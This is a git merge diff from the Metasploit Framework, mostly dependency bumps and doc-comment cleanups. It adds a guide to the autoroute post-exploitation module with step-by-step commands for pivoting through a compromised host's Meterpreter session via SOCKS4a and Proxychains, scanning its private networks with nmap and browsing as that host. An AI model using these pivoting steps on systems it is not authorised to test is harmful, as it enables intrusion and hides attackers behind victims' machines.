Merge branch 'master' into staging/rails-upgrade

bug/bundler_fix
David Maloney 2016-05-02 11:33:35 -05:00
commit fb5b228984
No known key found for this signature in database
GPG Key ID: DEDBA9DC3A913DB2
139 changed files with 2347 additions and 925 deletions

View File

@ -81,7 +81,7 @@ GIT
PATH PATH
remote: . remote: .
specs: specs:
metasploit-framework (4.11.21) metasploit-framework (4.11.24)
actionpack (~> 4.2.6) actionpack (~> 4.2.6)
activerecord (~> 4.2.6) activerecord (~> 4.2.6)
activesupport (~> 4.2.6) activesupport (~> 4.2.6)
@ -93,7 +93,7 @@ PATH
metasploit-concern metasploit-concern
metasploit-credential metasploit-credential
metasploit-model metasploit-model
metasploit-payloads (= 1.1.6) metasploit-payloads (= 1.1.8)
metasploit_data_models metasploit_data_models
msgpack msgpack
network_interface network_interface
@ -155,7 +155,7 @@ GEM
thor (~> 0.19) thor (~> 0.19)
bcrypt (3.1.11) bcrypt (3.1.11)
builder (3.2.2) builder (3.2.2)
capybara (2.7.0) capybara (2.7.1)
addressable addressable
mime-types (>= 1.16) mime-types (>= 1.16)
nokogiri (>= 1.3.3) nokogiri (>= 1.3.3)
@ -166,7 +166,7 @@ GEM
ffi (~> 1.0, >= 1.0.11) ffi (~> 1.0, >= 1.0.11)
choice (0.2.0) choice (0.2.0)
coderay (1.1.1) coderay (1.1.1)
contracts (0.13.0) contracts (0.14.0)
cucumber (2.3.3) cucumber (2.3.3)
builder (>= 2.1.2) builder (>= 2.1.2)
cucumber-core (~> 1.4.0) cucumber-core (~> 1.4.0)
@ -205,7 +205,7 @@ GEM
loofah (2.0.3) loofah (2.0.3)
nokogiri (>= 1.5.9) nokogiri (>= 1.5.9)
metasm (1.0.2) metasm (1.0.2)
metasploit-payloads (1.1.6) metasploit-payloads (1.1.8)
method_source (0.8.2) method_source (0.8.2)
mime-types (3.0) mime-types (3.0)
mime-types-data (~> 3.2015) mime-types-data (~> 3.2015)
@ -213,7 +213,7 @@ GEM
mini_portile2 (2.0.0) mini_portile2 (2.0.0)
minitest (5.8.4) minitest (5.8.4)
msgpack (0.7.5) msgpack (0.7.5)
multi_json (1.11.2) multi_json (1.11.3)
multi_test (0.1.2) multi_test (0.1.2)
multipart-post (2.0.0) multipart-post (2.0.0)
network_interface (0.0.1) network_interface (0.0.1)
@ -226,7 +226,7 @@ GEM
network_interface (~> 0.0) network_interface (~> 0.0)
pcaprub (~> 0.12) pcaprub (~> 0.12)
patch_finder (1.0.2) patch_finder (1.0.2)
pcaprub (0.12.1) pcaprub (0.12.4)
pg (0.18.4) pg (0.18.4)
pg_array_parser (0.0.9) pg_array_parser (0.0.9)
postgres_ext (3.0.0) postgres_ext (3.0.0)
@ -246,7 +246,7 @@ GEM
activesupport (>= 4.2.0.beta, < 5.0) activesupport (>= 4.2.0.beta, < 5.0)
nokogiri (~> 1.6.0) nokogiri (~> 1.6.0)
rails-deprecated_sanitizer (>= 1.0.1) rails-deprecated_sanitizer (>= 1.0.1)
rails-erd (1.4.6) rails-erd (1.4.7)
activerecord (>= 3.2) activerecord (>= 3.2)
activesupport (>= 3.2) activesupport (>= 3.2)
choice (~> 0.2.0) choice (~> 0.2.0)
@ -260,7 +260,7 @@ GEM
thor (>= 0.18.1, < 2.0) thor (>= 0.18.1, < 2.0)
rake (11.1.2) rake (11.1.2)
rb-readline-r7 (0.5.2.0) rb-readline-r7 (0.5.2.0)
recog (2.0.19) recog (2.0.20)
nokogiri nokogiri
redcarpet (3.3.4) redcarpet (3.3.4)
rkelly-remix (0.0.6) rkelly-remix (0.0.6)
@ -331,3 +331,6 @@ DEPENDENCIES
timecop timecop
yard yard
yard-metasploit-erd! yard-metasploit-erd!
BUNDLED WITH
1.11.2

View File

@ -28,7 +28,7 @@ File.readlines(sitelist).each do |site|
next if site =~ /^#/ next if site =~ /^#/
out = File.join(output, site + ".txt") out = File.join(output, site + ".txt")
File.unlink(out) if File.exists?(out) File.unlink(out) if File.exist?(out)
fd = File.open(out, "a") fd = File.open(out, "a")

View File

@ -89,7 +89,6 @@ code {
} }
pre { pre {
display: block; display: block;
padding: 16px;
margin: 0 0 18px; margin: 0 0 18px;
line-height: 16px; line-height: 16px;
font-size: 13px; font-size: 13px;
@ -139,7 +138,6 @@ pre code {
border-style: solid; border-style: solid;
border-width: 1px; border-width: 1px;
border-color: #ccc; border-color: #ccc;
padding: 5px;
} }

View File

@ -0,0 +1,121 @@
## Overview
This module is used to add routes associated with the specified Meterpreter session to Metasploit's routing table. These routes can be used to pivot to private networks and resources that can be accessed by the compromised machine. This module can search for routes and add them automatically. Routes can also be added manually, deleted, or displayed.
## CMD Options
This module has several command "CMD" options that are used to control the module's behavior.
### autoadd
This is the default behavior for this module. When this CMD option is used, the module searches the compromised machine's routing table and network interface list looking for networks that the machine can access. Once found, the module automatically adds routes to the networks to Metasploit's routing table. Duplicate routes from new sessions are not added.
### add
This CMD option is used to manually add routes to Metasploit's routing table. An IPv4 subnet and netmask (IPv4 or CIDR) are required to add routes manually. The session number of the Meterpreter session to run the module on is also required.
Subnet Example `set SUBNET 192.168.1.0`
Netmask Examples `set NETMASK 255.255.255.0` or `set NETMASK /24`
### delete
This CMD option is used to remove a route from Metasploit's routing table. The IPv4 subnet and netmask (IPv4 or CIDR) of the route to be removed are required. The session number of the Meterpreter session to run the module on is also required. Use `route print` or the print CMD option to display the current Metasploit routing table.
### print
This CMD option is used to display Metasploit's routing table. This option has the same functionality as the `route print` command.
### default
This CMD option is used to add a default route to Metasploit's routing table that routes all TCP/IP traffic; not otherwise covered in other routes, through the specified session when pivoting.
**Use this option with caution.**
This option is useful in special situations. An example would be when the compromised host is using a full traffic VPN where the VPN server does the routing to private networks. In this case, the routing table of the compromised host would likely not have entries for these private networks. Adding a default route would push the routing off to the VPN server, and those networks would likely become accessible.
Additionally, the default route combined with a Socks proxy server and Proxychains can be used to browse the Internet as the compromised host. Instructions for this are below.
## Pivoting
Once routes are established, Metasploit modules can access the IP range specified in the routes. Scans and exploits can be directed at machines that would otherwise be unreachable from the outside. For other applications to access the routes, a little bit more setup is necessary. This involves setting up the Socks4a Metasploit module and using Proxychains in conjunction with the other applications.
### Socks 4a Server Module Setup
Metasploit can launch a Socks 4a Proxy server using the module: auxiliary/server/socks4a. When set up to bind to a local loopback adapter, applications can be directed to use the proxy to route TCP/IP traffic through Metasploit's routing tables. Below are the steps to initiate this module.
```
use auxiliary/server/socks4a
set SRVHOST 127.0.0.1
set LPORT 1080
exploit -j
```
### Proxychains Setup
First, make sure that you have Proxychains.
```
sudo apt-get update
sudo apt-get install proxychains
```
Now edit the Proxychains configuration file located at /etc/proxychains.conf. Add the below line to the end of the file to set Proxychains to use the Socks 4a server that you just set up.
```
socks4 127.0.0.1 1080
```
Note: If there are other proxy entries in the configuration file, you may need to comment them out as they may interfere with proper routing.
### Using Proxychains
Now you can combine Proxychains with other application like Nmap, Nessus, Firefox and more to scan or access machines and resources through the Metasploit routes. All you need to do is call proxychains before the needed application. No need to change the proxy settings in Firefox of Iceweasel.
```
$ proxychains firefox
```
### Scanning
For scanning with Nmap, Zenmap, Nessus and others, keep in mind that ICMP and UPD traffic cannot tunnel through the proxy. So you cannot perform ping or UDP scans.
For Nmap and Zenmap, the below example shows the commands can be used. It is best to be selective on ports to scan since scanning through the proxy tunnel can be slow.
```
$ sudo proxychains nmap -n -sT- sV -PN -p 445 10.10.125.0/24
```
### Combined With Default Route
Using the default route option along with the Socks proxy and Proxychains, you can browse the internet as the compromised host. This is possible because adding a default route to a Meterpeter session will cause all TCP/IP traffic; that is not otherwise specified in Metasploit's routing table, to route through that session. This is easy to set up and test.
You need a Windows Meterpreter session on a host that has a different public IP address than your attacking machine.
First set up a default route for the Meterpreter session.
```
meterpreter > run post/windows/manage/autoroute CMD=default
```
or
```
msf > use post/windows/manage/autoroute
msf post(autoroute) > set SESSION session-id
msf post(autoroute) > set CMD default
msf post(autoroute) > exploit
```
Then open Firefox or Iceweasel without invoking Proxychains.
```
$ firefox
```
Go to `www.ipchicken.com`
This displays your current public IP address. The one that is logged when you visit a website.
Now open Firefox or Iceweasel with Proxychains.
```
$ proxychains firefox
```
Go to `www.ipchicken.com`
Now you will see the public IP address of the compromised host. You are essentially using the compromised host as a proxy to browse the Internet.
**This does not guarantee anonymity! Your browser, and its setting may still give you away.**

View File

@ -9,7 +9,7 @@ module Anemone
def_delegators :@keys, :has_key?, :keys, :size def_delegators :@keys, :has_key?, :keys, :size
def initialize(file) def initialize(file)
File.delete(file) if File.exists?(file) File.delete(file) if File.exist?(file)
@store = ::PStore.new(file) @store = ::PStore.new(file)
@keys = {} @keys = {}
end end

View File

@ -5,7 +5,7 @@ module Metasploit
# This class is responsible for taking datastore options from the snmp_login module # This class is responsible for taking datastore options from the snmp_login module
# and yielding appropriate {Metasploit::Framework::Credential}s to the {Metasploit::Framework::LoginScanner::SNMP}. # and yielding appropriate {Metasploit::Framework::Credential}s to the {Metasploit::Framework::LoginScanner::SNMP}.
# This one has to be different from {credentialCollection} as it will only have a {Metasploit::Framework::Credential#public} # This one has to be different from credentialCollection as it will only have a {Metasploit::Framework::Credential#public}
# It may be slightly confusing that the attribues are called password and pass_file, because this is what the legacy # It may be slightly confusing that the attribues are called password and pass_file, because this is what the legacy
# module used. However, community Strings are now considered more to be public credentials than private ones. # module used. However, community Strings are now considered more to be public credentials than private ones.
class CommunityStringCollection class CommunityStringCollection

View File

@ -18,10 +18,10 @@ module Metasploit
# Module Methods # Module Methods
# #
# Returns first configuration pathname from {configuration_pathnames} or the overridding `:path`. # Returns first configuration pathname from configuration_pathnames or the overridding `:path`.
# #
# @param options [Hash{Symbol=>String}] # @param options [Hash{Symbol=>String}]
# @option options [String] :path Path to use instead of first element of {configurations_pathnames} # @option options [String] :path Path to use instead of first element of configurations_pathnames
# @return [Pathname] if configuration pathname exists. # @return [Pathname] if configuration pathname exists.
# @return [nil] if configuration pathname does not exist. # @return [nil] if configuration pathname does not exist.
def self.configurations_pathname(options={}) def self.configurations_pathname(options={})

View File

@ -29,7 +29,7 @@ module Metasploit
# Returns the latest sid from MSP # Returns the latest sid from MSP
# #
# @param [Rex::Proto::Http::Response] # @param res [Rex::Proto::Http::Response]
# @return [String] The session ID for MSP # @return [String] The session ID for MSP
def get_sid(res) def get_sid(res)
cookies = res.get_cookies cookies = res.get_cookies
@ -41,7 +41,7 @@ module Metasploit
# Returns the hidden inputs # Returns the hidden inputs
# #
# @param [Rex::Proto::Http::Response] # @param res [Rex::Proto::Http::Response]
# @return [Hash] Input fields # @return [Hash] Input fields
def get_hidden_inputs(res) def get_hidden_inputs(res)
found_inputs = {} found_inputs = {}

View File

@ -60,7 +60,7 @@ module Metasploit
end end
end end
# Attempt to login with every {Credential credential} in # {#cred_details}. # Attempt to login with every {Credential credential} in # #cred_details.
# #
# @yieldparam result [Result] The {Result} object for each attempt # @yieldparam result [Result] The {Result} object for each attempt
# @yieldreturn [void] # @yieldreturn [void]

View File

@ -42,7 +42,7 @@ module Metasploit::Framework::Spec::Constants
# Adds actions to `spec` task so that `rake spec` fails if any of the following: # Adds actions to `spec` task so that `rake spec` fails if any of the following:
# #
# # `log/leaked-constants.log` exists after printing out the leaked constants. # # `log/leaked-constants.log` exists after printing out the leaked constants.
# # {Each.configured!} is unnecessary in `spec/spec_helper.rb` and should be removed. # # Each.configured! is unnecessary in `spec/spec_helper.rb` and should be removed.
# #
# @return [void] # @return [void]
def self.define_task def self.define_task
@ -96,4 +96,4 @@ module Metasploit::Framework::Spec::Constants
full_name full_name
end end
end end

View File

@ -19,7 +19,7 @@ module Metasploit::Framework::Spec::Constants::Each
attr_accessor :leaks_cleaned attr_accessor :leaks_cleaned
end end
# Is {Metasploit::Framework::Spec::Constants::Each.configure!} still necessary or should it be removed? # Is Metasploit::Framework::Spec::Constants::Each.configure! still necessary or should it be removed?
# #
# @return [true] if {configure!}'s `before(:each)` cleaned up leaked constants # @return [true] if {configure!}'s `before(:each)` cleaned up leaked constants
# @return [false] otherwise # @return [false] otherwise
@ -91,7 +91,7 @@ module Metasploit::Framework::Spec::Constants::Each
!!@configured !!@configured
end end
# Adds action to `spec` task so that `rake spec` fails if {configured!} is unnecessary in `spec/spec_helper.rb` and # Adds action to `spec` task so that `rake spec` fails if configured! is unnecessary in `spec/spec_helper.rb` and
# should be removed # should be removed
# #
# @return [void] # @return [void]
@ -116,4 +116,4 @@ module Metasploit::Framework::Spec::Constants::Each
end end
end end
end end
end end

View File

@ -6,7 +6,7 @@ module Metasploit::Framework::Spec::Constants::Suite
LOGS_PATHNAME = Pathname.new('log/metasploit/framework/spec/constants/suite') LOGS_PATHNAME = Pathname.new('log/metasploit/framework/spec/constants/suite')
# Logs leaked constants to {LOG_PATHNAME} and prints `message` to stderr. # Logs leaked constants to LOG_PATHNAME and prints `message` to stderr.
# #
# @param hook (see log_pathname) # @param hook (see log_pathname)
# @param message [String] additional message printed to stderr when there is at least one leaked constant. # @param message [String] additional message printed to stderr when there is at least one leaked constant.
@ -116,4 +116,4 @@ module Metasploit::Framework::Spec::Constants::Suite
leaks leaks
end end
end end

View File

@ -1,5 +1,5 @@
# Wraps {Msf::Framework} so that {Msf::Framework#threads} is only created on the first call to {#spawn} by # Wraps {Msf::Framework} so that {Msf::Framework#threads} is only created on the first call to {#spawn} by
# {Rex::ThreadFactory#spawn}, which allows the threads used by {Msf::ThreadManager} to be created lazily. # Rex::ThreadFactory#spawn, which allows the threads used by {Msf::ThreadManager} to be created lazily.
# #
# @example Setting Rex::ThreadFactory.provider and spawning threads # @example Setting Rex::ThreadFactory.provider and spawning threads
# Rex::ThreadFactory.provider = Metasploit::Framework::ThreadFactoryProvider.new(framework: framework) # Rex::ThreadFactory.provider = Metasploit::Framework::ThreadFactoryProvider.new(framework: framework)
@ -23,4 +23,4 @@ class Metasploit::Framework::ThreadFactoryProvider < Metasploit::Model::Base
def spawn(name, critical, *args, &block) def spawn(name, critical, *args, &block)
framework.threads.spawn(name, critical, *args, &block) framework.threads.spawn(name, critical, *args, &block)
end end
end end

View File

@ -30,7 +30,7 @@ module Metasploit
end end
end end
VERSION = "4.11.21" VERSION = "4.11.24"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev' PRERELEASE = 'dev'
HASH = get_hash HASH = get_hash

View File

@ -14,7 +14,7 @@ module Msf
# the supplied module instance. # the supplied module instance.
# #
# @param mod [Msf::Module] the module to dump information for. # @param mod [Msf::Module] the module to dump information for.
# @param indent [String] the indentation to use. # @param _indent [String] the indentation to use.
# @return [String] formatted text output of the dump. # @return [String] formatted text output of the dump.
def self.dump_module(mod, _indent = "") def self.dump_module(mod, _indent = "")
case mod.type case mod.type

View File

@ -471,7 +471,7 @@ class ReadableText
def self.dump_references(mod, indent = '') def self.dump_references(mod, indent = '')
output = '' output = ''
if (mod.respond_to? :references and mod.references and mod.references.length > 0) if (mod.respond_to?(:references) && mod.references && mod.references.length > 0)
output << "References:\n" output << "References:\n"
mod.references.each { |ref| mod.references.each { |ref|
output << indent + ref.to_s + "\n" output << indent + ref.to_s + "\n"
@ -530,6 +530,7 @@ class ReadableText
columns << 'Id' columns << 'Id'
columns << 'Type' columns << 'Type'
columns << 'Checkin?' if show_extended columns << 'Checkin?' if show_extended
columns << 'Local URI' if show_extended
columns << 'Information' columns << 'Information'
columns << 'Connection' columns << 'Connection'
@ -558,6 +559,12 @@ class ReadableText
else else
row << '?' row << '?'
end end
if session.exploit_datastore.has_key?('LURI') && !session.exploit_datastore['LURI'].empty?
row << " (#{session.exploit_datastore['LURI']})"
else
row << '?'
end
end end
row << sinfo row << sinfo
@ -597,6 +604,7 @@ class ReadableText
sess_type = session.type.to_s sess_type = session.type.to_s
sess_uuid = session.payload_uuid.to_s sess_uuid = session.payload_uuid.to_s
sess_puid = session.payload_uuid.respond_to?(:puid_hex) ? session.payload_uuid.puid_hex : nil sess_puid = session.payload_uuid.respond_to?(:puid_hex) ? session.payload_uuid.puid_hex : nil
sess_luri = session.exploit_datastore['LURI'] || ""
sess_checkin = "<none>" sess_checkin = "<none>"
sess_machine_id = session.machine_id.to_s sess_machine_id = session.machine_id.to_s
@ -626,6 +634,9 @@ class ReadableText
out << " MachineID: #{sess_machine_id}\n" out << " MachineID: #{sess_machine_id}\n"
out << " CheckIn: #{sess_checkin}\n" out << " CheckIn: #{sess_checkin}\n"
out << " Registered: #{sess_registration}\n" out << " Registered: #{sess_registration}\n"
if !sess_luri.empty?
out << " LURI: #{sess_luri}\n"
end
@ -678,6 +689,7 @@ class ReadableText
if (verbose) if (verbose)
uripath = ctx[0].get_resource if ctx[0].respond_to?(:get_resource) uripath = ctx[0].get_resource if ctx[0].respond_to?(:get_resource)
uripath = ctx[0].datastore['URIPATH'] if uripath.nil? uripath = ctx[0].datastore['URIPATH'] if uripath.nil?
uripath = ctx[0].datastore['LURI'] if uripath.nil?
row << (uripath || "") row << (uripath || "")
row << (framework.jobs[k].start_time || "") row << (framework.jobs[k].start_time || "")
end end

View File

@ -27,7 +27,7 @@ module Scriptable
# Scan all of the path combinations # Scan all of the path combinations
check_paths.each { |path| check_paths.each { |path|
if ::File.exists?(path) if ::File.exist?(path)
full_path = path full_path = path
break break
end end

View File

@ -30,7 +30,7 @@ module Framework
def load(path, opts = {}) def load(path, opts = {})
def_path = Msf::Config.plugin_directory + File::SEPARATOR + path def_path = Msf::Config.plugin_directory + File::SEPARATOR + path
if (File.exists?(def_path) or File.exists?(def_path + ".rb")) if (File.exist?(def_path) or File.exist?(def_path + ".rb"))
super(def_path, opts) super(def_path, opts)
else else
super super

View File

@ -58,7 +58,6 @@ module Msf
# Extract directories `engine.paths['modules']` from `engine`. # Extract directories `engine.paths['modules']` from `engine`.
# #
# @param engine [Rails::Engine] a rails engine or application # @param engine [Rails::Engine] a rails engine or application
# @param options [Hash] options for {Msf::ModuleManager::ModulePaths#add_module_paths}
# @return [Array<String>] The list of module paths to load # @return [Array<String>] The list of module paths to load
def extract_engine_module_paths(engine) def extract_engine_module_paths(engine)
engine.paths['modules'] ? engine.paths['modules'].existent_directories : [] engine.paths['modules'] ? engine.paths['modules'].existent_directories : []

View File

@ -49,7 +49,7 @@ module Auxiliary::AuthBrute
@@max_per_service = nil @@max_per_service = nil
end end
# Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with # Yields each Metasploit::Credential::Core in the Mdm::Workspace with
# a private type of 'ntlm_hash' # a private type of 'ntlm_hash'
# #
# @yieldparam [Metasploit::Credential::Core] # @yieldparam [Metasploit::Credential::Core]
@ -60,7 +60,7 @@ module Auxiliary::AuthBrute
end end
end end
# Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with # Yields each Metasploit::Credential::Core in the Mdm::Workspace with
# a private type of 'password' # a private type of 'password'
# #
# @yieldparam [Metasploit::Credential::Core] # @yieldparam [Metasploit::Credential::Core]
@ -71,7 +71,7 @@ module Auxiliary::AuthBrute
end end
end end
# Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with # Yields each Metasploit::Credential::Core in the Mdm::Workspace with
# a private type of 'ssh_key' # a private type of 'ssh_key'
# #
# @yieldparam [Metasploit::Credential::Core] # @yieldparam [Metasploit::Credential::Core]
@ -90,7 +90,7 @@ module Auxiliary::AuthBrute
(datastore['DB_ALL_CREDS'] || datastore['DB_ALL_PASS'] || datastore['DB_ALL_USERS']) && framework.db.active (datastore['DB_ALL_CREDS'] || datastore['DB_ALL_PASS'] || datastore['DB_ALL_USERS']) && framework.db.active
end end
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing NTLMHashes # This method takes a Metasploit::Framework::CredentialCollection and prepends existing NTLMHashes
# from the database. This allows the users to use the DB_ALL_CREDS option. # from the database. This allows the users to use the DB_ALL_CREDS option.
# #
# @param cred_collection [Metasploit::Framework::CredentialCollection] # @param cred_collection [Metasploit::Framework::CredentialCollection]
@ -105,7 +105,7 @@ module Auxiliary::AuthBrute
cred_collection cred_collection
end end
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing SSHKeys # This method takes a Metasploit::Framework::CredentialCollection and prepends existing SSHKeys
# from the database. This allows the users to use the DB_ALL_CREDS option. # from the database. This allows the users to use the DB_ALL_CREDS option.
# #
# @param [Metasploit::Framework::CredentialCollection] cred_collection # @param [Metasploit::Framework::CredentialCollection] cred_collection
@ -120,7 +120,7 @@ module Auxiliary::AuthBrute
cred_collection cred_collection
end end
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing Password Credentials # This method takes a Metasploit::Framework::CredentialCollection and prepends existing Password Credentials
# from the database. This allows the users to use the DB_ALL_CREDS option. # from the database. This allows the users to use the DB_ALL_CREDS option.
# #
# @param cred_collection [Metasploit::Framework::CredentialCollection] # @param cred_collection [Metasploit::Framework::CredentialCollection]
@ -135,9 +135,9 @@ module Auxiliary::AuthBrute
cred_collection cred_collection
end end
# Takes a {Metasploit::Credential::Core} and converts it into a # Takes a Metasploit::Credential::Core and converts it into a
# {Metasploit::Framework::Credential} and processes it into the # Metasploit::Framework::Credential and processes it into the
# {Metasploit::Framework::CredentialCollection} as dictated by the # Metasploit::Framework::CredentialCollection as dictated by the
# selected datastore options. # selected datastore options.
# #
# @param [Metasploit::Framework::CredentialCollection] cred_collection the credential collection to add to # @param [Metasploit::Framework::CredentialCollection] cred_collection the credential collection to add to

View File

@ -27,8 +27,8 @@ module Msf
def build_probe def build_probe
@probe ||= ::Net::DNS::Packet.new(query_name, query_type_num, query_class_num).data @probe ||= ::Net::DNS::Packet.new(query_name, query_type_num, query_class_num).data
# TODO: support QU vs QM probes # TODO: support QU vs QM probes
# @probe[@probe.size-2] = [0x80].pack('C') #+ @probe[@probe.size-2] = [0x80].pack('C')
# @probe #+ @probe
end end
def query_class def query_class

View File

@ -70,7 +70,7 @@ module Auxiliary::Report
# This method safely get the workspace ID. It handles if the db is not active # This method safely get the workspace ID. It handles if the db is not active
# #
# @return [NilClass] if there is no DB connection # @return [NilClass] if there is no DB connection
# @return [Fixnum] the ID of the current {Mdm::Workspace} # @return [Fixnum] the ID of the current Mdm::Workspace
def myworkspace_id def myworkspace_id
if framework.db.active if framework.db.active
myworkspace.id myworkspace.id
@ -169,7 +169,7 @@ module Auxiliary::Report
# should be used directly instead. # should be used directly instead.
# #
# @param opts [Hash] the option hash # @param opts [Hash] the option hash
# @option opts [String] :host the address of the host (also takes a {Mdm::Host}) # @option opts [String] :host the address of the host (also takes a Mdm::Host)
# @option opts [Fixnum] :port the port of the connected service # @option opts [Fixnum] :port the port of the connected service
# @option opts [Mdm::Service] :service an optional Service object to build the cred for # @option opts [Mdm::Service] :service an optional Service object to build the cred for
# @option opts [String] :type What type of private credential this is (e.g. "password", "hash", "ssh_key") # @option opts [String] :type What type of private credential this is (e.g. "password", "hash", "ssh_key")

View File

@ -229,7 +229,7 @@ module Msf::DBManager::Import
end end
# This is a text string, lets make sure its treated as binary # This is a text string, lets make sure its treated as binary
data = data.unpack("C*").pack("C*") data.force_encoding(Encoding::ASCII_8BIT)
if data and data.to_s.strip.length == 0 if data and data.to_s.strip.length == 0
raise Msf::DBImportError.new("The data provided to the import function was empty") raise Msf::DBImportError.new("The data provided to the import function was empty")
end end

View File

@ -66,31 +66,31 @@ module Msf::DBManager::Import::MetasploitFramework::XML
# Imports `Mdm::Note` objects from the XML element. # Imports `Mdm::Note` objects from the XML element.
# #
# @param note [REXML::Element] The Note element # @param note [Nokogiri::XML::Element] The Note element
# @param allow_yaml [Boolean] whether to allow yaml # @param allow_yaml [Boolean] whether to allow yaml
# @param note_data [Hash] hash containing note attributes to be passed along # @param note_data [Hash] hash containing note attributes to be passed along
# @return [void] # @return [void]
def import_msf_note_element(note, allow_yaml, note_data={}) def import_msf_note_element(note, allow_yaml, note_data={})
note_data[:type] = nils_for_nulls(note.elements["ntype"].text.to_s.strip) note_data[:type] = nils_for_nulls(note.at("ntype").text.to_s.strip)
note_data[:data] = nils_for_nulls(unserialize_object(note.elements["data"], allow_yaml)) note_data[:data] = nils_for_nulls(unserialize_object(note.at("data"), allow_yaml))
if note.elements["critical"].text if note.at("critical").text
note_data[:critical] = true unless note.elements["critical"].text.to_s.strip == "NULL" note_data[:critical] = true unless note.at("critical").text.to_s.strip == "NULL"
end end
if note.elements["seen"].text if note.at("seen").text
note_data[:seen] = true unless note.elements["critical"].text.to_s.strip == "NULL" note_data[:seen] = true unless note.at("critical").text.to_s.strip == "NULL"
end end
%W{created-at updated-at}.each { |datum| %W{created-at updated-at}.each { |datum|
if note.elements[datum].text if note.at(datum).text
note_data[datum.gsub("-","_")] = nils_for_nulls(note.elements[datum].text.to_s.strip) note_data[datum.gsub("-","_")] = nils_for_nulls(note.at(datum).text.to_s.strip)
end end
} }
report_note(note_data) report_note(note_data)
end end
# Imports web_form element using {Msf::DBManager#report_web_form}. # Imports web_form element using Msf::DBManager#report_web_form.
# #
# @param element [REXML::Element] web_form element. # @param element [Nokogiri::XML::Element] web_form element.
# @param options [Hash{Symbol => Object}] options # @param options [Hash{Symbol => Object}] options
# @option options [Boolean] :allow_yaml (false) Whether to allow YAML when # @option options [Boolean] :allow_yaml (false) Whether to allow YAML when
# deserializing params. # deserializing params.
@ -115,7 +115,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML
# FIXME https://www.pivotaltracker.com/story/show/46578647 # FIXME https://www.pivotaltracker.com/story/show/46578647
# FIXME https://www.pivotaltracker.com/story/show/47128407 # FIXME https://www.pivotaltracker.com/story/show/47128407
unserialized_params = unserialize_object( unserialized_params = unserialize_object(
element.elements['params'], element.at('params'),
options[:allow_yaml] options[:allow_yaml]
) )
info[:params] = nils_for_nulls(unserialized_params) info[:params] = nils_for_nulls(unserialized_params)
@ -124,9 +124,9 @@ module Msf::DBManager::Import::MetasploitFramework::XML
end end
end end
# Imports web_page element using {Msf::DBManager#report_web_page}. # Imports web_page element using Msf::DBManager#report_web_page.
# #
# @param element [REXML::Element] web_page element. # @param element [Nokogiri::XML::Element] web_page element.
# @param options [Hash{Symbol => Object}] options # @param options [Hash{Symbol => Object}] options
# @option options [Boolean] :allow_yaml (false) Whether to allow YAML when # @option options [Boolean] :allow_yaml (false) Whether to allow YAML when
# deserializing headers. # deserializing headers.
@ -162,7 +162,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML
# FIXME https://www.pivotaltracker.com/story/show/46578647 # FIXME https://www.pivotaltracker.com/story/show/46578647
# FIXME https://www.pivotaltracker.com/story/show/47128407 # FIXME https://www.pivotaltracker.com/story/show/47128407
unserialized_headers = unserialize_object( unserialized_headers = unserialize_object(
element.elements['headers'], element.at('headers'),
options[:allow_yaml] options[:allow_yaml]
) )
info[:headers] = nils_for_nulls(unserialized_headers) info[:headers] = nils_for_nulls(unserialized_headers)
@ -171,9 +171,9 @@ module Msf::DBManager::Import::MetasploitFramework::XML
end end
end end
# Imports web_vuln element using {Msf::DBManager#report_web_vuln}. # Imports web_vuln element using Msf::DBManager#report_web_vuln.
# #
# @param element [REXML::Element] web_vuln element. # @param element [Nokogiri::XML::Element] web_vuln element.
# @param options [Hash{Symbol => Object}] options # @param options [Hash{Symbol => Object}] options
# @option options [Boolean] :allow_yaml (false) Whether to allow YAML when # @option options [Boolean] :allow_yaml (false) Whether to allow YAML when
# deserializing headers. # deserializing headers.
@ -209,7 +209,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML
# FIXME https://www.pivotaltracker.com/story/show/46578647 # FIXME https://www.pivotaltracker.com/story/show/46578647
# FIXME https://www.pivotaltracker.com/story/show/47128407 # FIXME https://www.pivotaltracker.com/story/show/47128407
unserialized_params = unserialize_object( unserialized_params = unserialize_object(
element.elements['params'], element.at('params'),
options[:allow_yaml] options[:allow_yaml]
) )
info[:params] = nils_for_nulls(unserialized_params) info[:params] = nils_for_nulls(unserialized_params)
@ -232,314 +232,325 @@ module Msf::DBManager::Import::MetasploitFramework::XML
wspace = args[:wspace] || workspace wspace = args[:wspace] || workspace
bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : []
doc = rexmlify(data) doc = Nokogiri::XML::Reader.from_memory(data)
metadata = check_msf_xml_version!(doc) metadata = check_msf_xml_version!(doc.first.name)
allow_yaml = metadata[:allow_yaml] allow_yaml = metadata[:allow_yaml]
btag = metadata[:root_tag] btag = metadata[:root_tag]
doc.elements.each("/#{btag}/hosts/host") do |host| doc.each do |node|
host_data = {} unless node.inner_xml.empty?
host_data[:task] = args[:task] case node.name
host_data[:workspace] = wspace when 'host'
parse_host(Nokogiri::XML(node.outer_xml).at("./#{node.name}"), wspace, bl, allow_yaml, btag, args, &block)
# A regression resulted in the address field being serialized in some cases. when 'web_site'
# Lets handle both instances to keep things happy. See #5837 & #5985 parse_web_site(Nokogiri::XML(node.outer_xml).at("./#{node.name}"), wspace, bl, allow_yaml, btag, args, &block)
addr = nils_for_nulls(host.elements["address"]) when 'web_page', 'web_form', 'web_vuln'
next unless addr send(
"import_msf_#{node.name}_element",
# No period or colon means this must be in base64-encoded serialized form Nokogiri::XML(node.outer_xml).at("./#{node.name}"),
if addr !~ /[\.\:]/ :allow_yaml => allow_yaml,
addr = unserialize_object(addr) :workspace => wspace,
end &block
)
host_data[:host] = addr
if bl.include? host_data[:host]
next
else
yield(:address,host_data[:host]) if block
end
host_data[:mac] = nils_for_nulls(host.elements["mac"].text.to_s.strip)
if host.elements["comm"].text
host_data[:comm] = nils_for_nulls(host.elements["comm"].text.to_s.strip)
end
%W{created-at updated-at name state os-flavor os-lang os-name os-sp purpose}.each { |datum|
if host.elements[datum].text
